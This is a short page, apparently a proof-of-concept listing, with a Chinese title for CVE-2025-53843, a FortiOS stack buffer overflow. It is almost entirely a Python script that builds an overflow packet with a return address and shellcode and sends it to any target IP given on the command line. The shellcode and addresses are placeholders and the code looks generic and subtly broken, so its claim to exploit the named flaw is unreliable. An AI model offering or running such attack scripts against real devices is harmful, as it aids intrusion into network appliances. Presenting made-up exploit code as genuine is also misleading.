CVE-2025-53843 FortiOS栈缓冲区溢出漏洞导致远程代码执行

# CVE-2025-53843 PoC - FortiOS Stack Buffer Overflow # Note: This is a conceptual PoC for educational purposes only import struct import socket def create_exploit_packet(): """Generate a malicious packet to trigger buffer overflow""" # Define packet structure header = b'\x00' * 16 # Protocol header # Overflow payload - triggers stack buffer overflow # Adjust length based on target version overflow_size = 1024 overflow_payload = b'A' * overflow_size # Overwrite return address with shellcode address return_address = struct.pack('<Q', 0x0000000000400000) # Shellcode address # Shellcode for remote code execution (example) shellcode = ( b'\x48\x31\xff' # xor rdi, rdi b'\x48\x31\xf6' # xor rsi, rsi b'\x48\x31\xd2' # xor rdx, rdx b'\xb0\x3b' # mov al, 59 (execve syscall) b'\x0f\x05' # syscall ) payload = header + overflow_payload + return_address + shellcode return payload def send_exploit(target_ip, target_port=443): """Send exploit packet to target FortiOS device""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) packet = create_exploit_packet() sock.send(packet) print(f"[+] Exploit packet sent to {target_ip}:{target_port}") print(f"[+] Packet size: {len(packet)} bytes") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)